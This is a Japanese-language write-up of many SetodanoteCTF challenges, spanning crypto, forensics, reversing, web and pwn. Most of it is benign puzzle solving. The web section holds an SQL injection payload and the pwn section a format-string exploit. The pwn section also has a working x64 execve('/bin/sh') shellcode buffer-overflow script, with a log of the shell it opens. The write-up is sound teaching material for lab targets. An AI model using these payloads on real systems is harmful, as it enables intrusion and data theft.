SetodanoteCTF Writeup
解いた問題のWriteupです。問題数が多いので、書き漏らしとかもあるかもだし、あんまり解説っぽくはないですが、誰かの参考になれば。 5850点で68位でした。
Misc
Welcome
指示通りにやるだけ、ようこそCTFへ
flag{Enjoy_y0ur_time_here!}
Hash
Hashmyfilesを使って探して終わり pass024.txtとpass034.txtとpass079.txt
flag{hardest_logic_puzzle}
F
Brainf**k
flag{Don't_Use_the_F-Word!!}
Nothing
空白とかが多いのでWhitespaceっぽいと思ったら、その通りだった。
flag{And_Then_There_Were_None}
i_knew_it
アセンブリに100h(256)があって配列初期化、最終的にxorしてるのでRC4
flag{RC4}
Network
Host
Wiresharkで見るだけ
flag{ctf.setodanote.net}
tkys_never_die
HTTP通信とflag.pngをやり取りしているのが見える。Wiresharkの機能で書き出せばflag
flag{a_treasure_trove}
echo_request
ICMPパケットのデータで1byteずつ送信してる
flag{ICMP_Tunneling_T1095}
T1095 はAtt&CKのTechnique
Digdig
Digで問い合わせている部分のhexを読み解く。 005aa0 のあとの2桁が順番
flag{DNS_S3cur17y_T1071!}
Logger
USBのデータを書き出して、打ち込まれたデータを確認する。 PostFailはShift Keyの意味。詳細はこちらを参考にしてもらえれば
newmap = { 2: "PostFail", 4: "a", 5: "b", 6: "c", 7: "d", 8: "e", 9: "f", 10: "g", 11: "h", 12: "i", 13: "j", 14: "k", 15: "l", 16: "m", 17: "n", 18: "o", 19: "p", 20: "q", 21: "r", 22: "s", 23: "t", 24: "u", 25: "v", 26: "w", 27: "x", 28: "y", 29: "z", 30: "1", 31: "2", 32: "3", 33: "4", 34: "5", 35: "6", 36: "7", 37: "8", 38: "9", 39: "0", 40: "\n", 41: "esc", 42: "del", 43: " ", 44: " ", 45: "-", 47: "{", 48: "}", 55: ".", 56: "/", 57: "CapsLock", 79: "RightArrow", 80: "LetfArrow" } myKeys = open('hexoutput.txt') i = 1 res='' for line in myKeys: bytesArray = bytearray.fromhex(line.strip()) #print "Line Number: " + str(i) for byte in bytesArray: if byte != 0: keyVal = int(byte) if keyVal in newmap: #print "Value map : " + str(keyVal) + " — -> " + newmap[keyVal] print(newmap[keyVal]) print(bytesArray) res += newmap[keyVal] else: print("No map found for this value: " + str(keyVal)) print(res) #print format(byte, ‘02X’) #PostFailPostFailoPostFailne popular bbuut unverified explanatindeloonn for the #PostFailPostFailqPostFailPostFailwPostFailPostFailePostFailPostFailrPostFailPostFailtPostFailPostFailPostFailyPostFail arrangement is that it wwaas designed to reduce #the likelihood of flagPostFailPostFail{PostFailPostFailPostFailqPostFailPostFailwPostFailPostFailePostFailPostFailPostFail-PostFailkeyb0ardPostFailPostFail-#PostFailPostFailPostFailrPostFailPostFailtPostFailPostFailyPostFailPostFail}PostFail internal clashhiing of typebarddels by placing commonly usseed combinatiiooonns #of letters farther froomm each oher inside the machine.
flag{QWE_keyb0ard_RTY}
Web
Body
ソースコードにflag
Header
HTTPヘッダ、x-setodanotectf-flag にフラグ
BurpやらWiresharkやらでみておけばOK
flag{Just_a_whisper}
puni_puni
punycodeと呼ばれるもの、デコードすると下記の通り
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、 シー、オー、ディー、イー、よん、よん、です. カタカナ表記は半角英小文字に、 ひらがな表記は半角数字にしたものがフラグです. なお、読点は区切り文字なので取り除いてください.
flag{33punycode44}
Mistake
よくわからんなーとディレクトリトラバーサルでも探すかと思ってimagesフォルダみたらflagがあった。
flag{You_are_the_Laughing_Man,_aren't_you?}
tkys_royale
SQLiっぽいと思って適当に入力したら、エラーとクエリを教えてくれた。 適当にコメントをつけたらおしまい。よくみたらMySQLって教えてくれてた。
pass' or 1=1; #
flag{SQLi_with_b1rds_in_a_b34utiful_landscape}
Estimated
お詫びの記事に不適切な画像、そして記事が昨日(20210603)ということがわかる。
題意通りに推測して images/20210602001b.jpgにアクセスするとflagが見える。
flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}
Redirect
ソースコードを見るとgoogleとかがrefererの場合遷移する仕組み、ビジター詐欺とかで使われる手口
リダイレクトの内容はFiddlerなりBurpなりを使ってみていく。
途中でcallback=getFlagにする必要があるのがわかるのでそのようにするとFlag
flag{Analyz1ng_Bad_Red1rects}
OSINT
tkys_with_love
c6df6で検索すると船が出てくるのでそれがflag Callsignは船のことらしい
flag{Symphony_of_the_Seas}
tkys_eys_only
画像に緯度経度があるのでそれを読み取る。 国連っぽいところなのが分かるので、それが回答
flag{United_Nations}
Ropeway
見たことあるなー、そこそこ大きい湖、観覧車これはもしや舘山寺では?と思って入力したらflagだった。
flag{kanzanji}
Crypto
base64
題意通りbase64すれば答え
flag{It's_called_base64!}
ROT13
これも題意通りROT13すれば答え
flag{Even_you_Brutus?}
pui_pui
16進文字列っぽいのでCyberchefのFrom Hexを使うとflagが見える。
flag{Have_you_ever_heard_of_Hexdump?}
tkys_secret_service
ROT13かませるとCUIという文字が出てくるのと、Controlledっぽい文字が見える。 このCUIはControlled Unclassified Informationの略だと思われるので、これが換字式暗号と予想がつく。
pnopnoとかpuipuiっぽい、flagだけわかればいいので、適当にやったら通った。多分アルファベット一文字一文字に対応したマッピングはできると思うよ。
flag{puipui_car_of_mol}
lets_bake
Base64っぽい文字列と]b2[sで分けられている。 サイバーシェフのレシピなんだろうということで、]b2[sで分割してbase64をかけるレシピがわかる。
From_Base64('A-Za-z0-9+/=',true) From_Hex('None') Fork('%','_',false) RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')
Input:NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0
を読み込ませるとflag
flag{hello_baked_cipher}
vul_rsa_01
暗号文c, 公開鍵n,e が与えられている。 Nが大きくないので素因数分解できそうと予想し、msieveを使う。
$ ./msieve -q -v -e 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 Msieve v. 1.53 (SVN Unversioned directory) Mon Aug 23 06:55:55 2021 random seeds: 4c03013e d1b9d622 factoring 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 (89 digits) searching for 15-digit factors searching for 20-digit factors searching for 25-digit factors 200 of 214 curves completed 214 ECM curves commencing quadratic sieve (89-digit input) using multiplier of 13 using generic 32kb sieve core sieve interval: 28 blocks of size 32768 processing polynomials in batches of 8 using a sieve bound of 1532627 (58333 primes) using large prime bound of 122610160 (26 bits) using double large prime bound of 362532985427040 (42-49 bits) using trial factoring cutoff of 49 bits polynomial 'A' values have 11 factors sieving in progress (press Ctrl-C to pause) 58758 relations (15937 full + 42821 combined from 617674 partial), need 58429 58758 relations (15937 full + 42821 combined from 617674 partial), need 58429 sieving complete, commencing postprocessing begin with 633611 relations reduce to 142194 relations in 11 passes attempting to read 142194 relations recovered 142194 relations recovered 120278 polynomials attempting to build 58758 cycles found 58758 cycles in 6 passes distribution of cycle lengths: length 1 : 15937 length 2 : 11198 length 3 : 10287 length 4 : 7903 length 5 : 5503 length 6 : 3500 length 7 : 2072 length 9+: 2358 largest cycle: 18 relations matrix is 58333 x 58758 (15.3 MB) with weight 3530463 (60.08/col) sparse part has weight 3530463 (60.08/col) filtering completed in 3 passes matrix is 54234 x 54298 (14.2 MB) with weight 3275850 (60.33/col) sparse part has weight 3275850 (60.33/col) saving the first 48 matrix rows for later matrix includes 64 packed rows matrix is 54186 x 54298 (10.6 MB) with weight 2715063 (50.00/col) sparse part has weight 2240850 (41.27/col) using block size 8192 and superblock size 1179648 for processor cache size 12288 kB commencing Lanczos iteration memory use: 6.4 MB lanczos halted after 858 iterations (dim = 54184) recovered 17 nontrivial dependencies p43 factor: 3058517013146002381763962882964790715736519 p46 factor: 4372642466716249946441875327733923056149624303 elapsed time 00:16:28
少し時間はかかったが、素因数分解完了。あとは解くだけ。
from Crypto.Util.number import * p = 3058517013146002381763962882964790715736519 q = 4372642466716249946441875327733923056149624303 phi = (p-1) * (q-1) e = 65537 c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335 N = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 def ex_euclid(x, y): c0, c1 = x, y a0, a1 = 1, 0 b0, b1 = 0, 1 while c1 != 0: m = c0 % c1 q = c0 // c1 c0, c1 = c1, m a0, a1 = a1, (a0 - q * a1) b0, b1 = b1, (b0 - q * b1) return c0, a0, b0 d = ex_euclid(e, phi)[1] p = pow(c,d,N) print(long_to_bytes(p))
flag{weak_rsa_can_be_decrypted!}
vul_rsa_02
先ほどと与えられたものは同一だが、eの値が大きい。 このときはWiener's Attackが使える。
ここから実装をお借りしてsolverを書く。
from Crypto.Util.number import * import ContinuedFractions import Arithmetic import RSAwienerHacker c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681 n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 d = RSAwienerHacker.hack_RSA(e,n) print(d) print(long_to_bytes(pow(c,d,n)))
$ python3 setodanote_vul_rsa2_solve.py Hacked! 19780253153570454414022314122363673676673 b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'
flag{197_Michael_J_Wiener_673}
WEARESIA
全然わからなかったがCIAという単語からひっかけたらKryptosという暗号の模様。 そんなに長くなく、前半部分はk1と呼ばれるものと一緒だったので飛ばせる。
私は次のサイトを参考にして手動でやった。 The Kryptos Sculpture Solutions
PALIMPSEST RCDNKFR = FLAGISW HHMKVLLTGB = EARETHENAT MFDUTMALDU = IONSFIRSTL MKYQTGLWLW = INEOFDEFEN CM = SE
FLAG IS WE ARE THE NATIONS FIRST LINE OF DEFENSE
flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}
Rev
Helloworld
実行して、いわれる通りに入力するとflag
PS > .\helloworld.exe Nice try, please set some word when you run me. PS > .\helloworld.exe test Good job, but please set 'flag' when you run me. PS > .\helloworld.exe flag flag{free_fair_and_secure_cyberspace}
flag{free_fair_and_secure_cyberspace}
ELF
fileコマンド等でファイルを調べてみると、raw dataと言われる。
バイナリエディタ等で見ると、先頭4byteがおかしいので、58 58 58 58
→7F 4D 4C 46
に書き換えると
ELFのバイナリと認識する。
そのまま実行してもよいし、中身を見るとNDIOSZ]FwEICAJIU
を0x28
とXORしてるのがわかるので、それで答えてもよし。
flag{run_makiba}
Passcode
Ghidraで開くと入力した文字列がflagとなる形式だとわかる。
入力した文字列は20150109
と比較しているのがわかる。
flag{20150109}
Passcode2
基本はPasscodeと一緒、中身を見ると変数と0x2a
でxorしているのがわかるので、
Pythonで計算しておく。
key = [0x18,0x1f,4,0x79,0x4f,0x5a,4,0x18,0x1a,0x1b,0x1e] res = ''.join([chr(i ^0x2a) for i in key]) print(res) # 25.Sep.2014
flag{25.Sep.2014}
to_analyze
_CorExeMainを呼び出しているし、TrIdでみると.NETなことがわかる。
> trid.exe .\to_analyze.exe TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello Definitions found: 13685 Analyzing... Collecting data from file: .\to_analyze.exe 72.5% (.EXE) Generic CIL Executable (.NET, Mono, etc.) (73123/4/13) 10.4% (.EXE) Win64 Executable (generic) (10525/10/4) 6.5% (.DLL) Win32 Dynamic Link Library (generic) (6578/25/2) 4.4% (.EXE) Win32 Executable (generic) (4505/5/1) 2.0% (.EXE) OS/2 Executable (generic) (2029/13)
dnspyでデバッガ使いながら見ると
C:\Users\321txt
のディレクトリをチェックする。
ディレクトリを作ってあげればflagが取得可能
Yes, that's the right answer. flag{Do_y0u_Kn0w_Ursnif?}
flag{Do_y0u_Kn0w_Ursnif?}
Forensic
paint_flag
word開くと書いてあるようにdocxファイルはzipファイル
zip解答するとflagが見つかる
flag{What_m4tters_is_inside;)}
Sentというファイルを見ると添付ファイルがある、 書き出すとflag
flag{You've_clearly_done_a_good_job_there!!}
Deletedfile
ファイルをTrIDで見てみるとMaster Boot Record dumpと表示される。
> trid .\deletedfile.raw TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello Definitions found: 13685 Analyzing... Collecting data from file: .\deletedfile.raw 100.0% (.) Master Boot Record dump (2/1)
Autopsyで解析すると削除されたファイルの部分でflagが見つかる。
flag{nosce_te_ipsum}
Timeline
dbファイルのactivityのpayloadのところで.txtを見ていくとflagがある。
flag{Th3_Fu7Ure_1s_N0w}
browser_db
問題名通り、ファイルはSQLITEのファイル。
> trid .\stella_9s84jetw.default-release_places.sqlite TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello Definitions found: 13685 Analyzing... Collecting data from file: .\stella_9s84jetw.default-release_places.sqlite 100.0% (.SQLITE/SQLITE3) SQLite 3.x database (15000/1)
SQLITEの中身を見てmoz_placesをみるとflagがある
flag{goosegoosego}
tkys_another_day
exiftoolで見てみるとapngという動く画像ファイルらしい。 pipでapngモジュールがあるのでそれで、画像を取り出してみたらflag
https://github.com/eight04/pyAPNG
flag{a_fake_illness_is_the_most_serious_disease_f5ab7}
CSIRT_asks_you_01
4625,4624のログを見る。 7/19 5:24分ごろまで失敗の履歴があるので、それ以降でログインに成功しているものが不正と考える。
flag{2021/07/18_20:09:21_4624}
Programming
ZZZIPPP
1000回ほどzipされてそう、Pythonでサクッとループを回す。
>>> import zipfile >>> n = 1000 >>> for i in range(1000): ... with zipfile.ZipFile('flag' + str(n) + '.zip') as existing_zip: ... n = n - 1 ... existing_zip.extract('flag' + str(n) + '.zip')
最後flag1.zipを展開したら答え
flag{loop-zip-1989-zip-loop}
echo me
ncすると、数字がかえってくる。何回やればいいかはわからないのでpythonを使うことにする。
>>> import re >>> import socket >>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) >>> s.connect(("10.1.1.10",12020)) >>> while True: ... msg = s.recv(1024) ... print(str(msg)) ... if 'flag' in str(msg): ... break ... if 'echo me' not in str(msg): ... continue ... m = re.search('echo me: ([0-9]+)',str(msg)) ... print(m.group(1)) ... s.send(m.group(1).encode('utf-8') + b'\n') ... #--snip-- #b'Correct!\n\nflag{Hellow_yamabiko_Yoo-hoo!}\n'
flag{Hellow_yamabiko_Yoo-hoo!}
EZZZIPPP
パスワードzipされたので、ZZZIPPPを適当に修正すればよさそう。
>>> n = 998 >>> for i in range(998): ... with open("pass.txt","r") as f: ... pas = f.read().strip() ... with zipfile.ZipFile('flag' + str(n) + '.zip') as zp: ... try: ... zp.extractall("./",pwd=pas.encode("utf-8")) ... except RuntimeError as e: ... print(e) ... n = n - 1
flag{bdf574f15645df736df13daef06128b8}
終わってから気づいたけどpass.txtはどんどん上書きされるから、printしとくといいかも
deep_thought
計算する感じ、計算はeval使っとけばいいかなと思ったのでそうした。
>>> import re >>> import socket >>> import time >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >>> s.connect(("10.1.1.10",12010)) >>> while True: ... time.sleep(1) ... msg = s.recv(1024) ... print(msg.decode('utf-8')) ... if 'flag' in msg.decode('utf-8'): ... break ... m = re.search('\[ Q[0-9]+ \]\n(.*)\n',msg.decode('utf-8')) ... ans = str(eval(m.group(1))) ... print("ans = " + ans) ... s.send(ans.encode('utf-8') + b'\n') ... # --snip-- # flag{__42__}
flag{__42__}
Pwn
tkys_let_die
ソースコードみるとgateの変数が上書きできそうなので、それを上書きできるような文字を送り込む
flag{Alohomora}
1989
ncするとCWE-134という文字が表示される。
ソースコードはないが書式文字列のバグがあるのだろうという予想をつける。
入力した文字列を出力するようなプログラムと予想して、投げ込む。
$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x565ed060] >> flag is here << | Ready > AAAA%x.%x.%x.%x.%x.%x.%x.%x Your Inpur : AAAAffed6150.ffed6558.565ea306.41414141.252e7825.78252e78.2e78252e.252e7825
4つめが41414141となっているので、それを呼び出せるようにする。
````
$ nc 10.1.1.10 13030
/ \ \ / / | / | | || |
| | \ \ /\ / /| | | | ) | || |
| | \ \/ \/ / | | || | || <| |
| | \ /\ / | | | |) | | |
_| \/ \/ || ||_/ ||
|
flag | [0x56656060] >> flag is here << |
Ready > eV.%4$s
Your Inpur :
eV.flag{Homenum_Revelio_1989}
````
shellcode
x64でshellcodeをbofする問題
import sys,re import struct from pwn import * #addr_buf = int(sys.argv[1], 16) bufsize = 80 # execve("/bin/sh", {"/bin/sh", NULL}, NULL) shellcode = b'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05' r = remote('127.0.0.1', 13050) time.sleep(1) msg = r.recv(1024) print(msg.decode('utf-8')) m = re.search('\[(0x[a-f0-9]+)\]', msg.decode('utf-8')) print(m.group(1)) addr_buf = int(m.group(1),16) buf = shellcode buf += b'A' * (bufsize - len(buf)) buf += b'A' * (8 - len(buf)%8) # alignment #buf += b'AAAAAAAA' buf += struct.pack('<Q', addr_buf) r.send(buf+b'\n') print(buf) r.interactive()
$ python3 exploit.py [+] Opening connection to 10.1.1.10 on port 13050: Done | target | [0x7ffdd445a8a0] | Well. Ready for the shellcode? > 0x7ffdd445a8a0 b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa8E\xd4\xfd\x7f\x00\x00' [*] Switching to interactive mode H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa8E\xd4\xfd\x7f $ id uid=999(user) gid=999(user) groups=999(user) $ ls bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cd /home $ ls user $ cd user $ ls flag shellcode $ cat flag flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
おわりに
中期間という取り組みやすいCTFを開催していただき@soji256さん、ありがとうございました。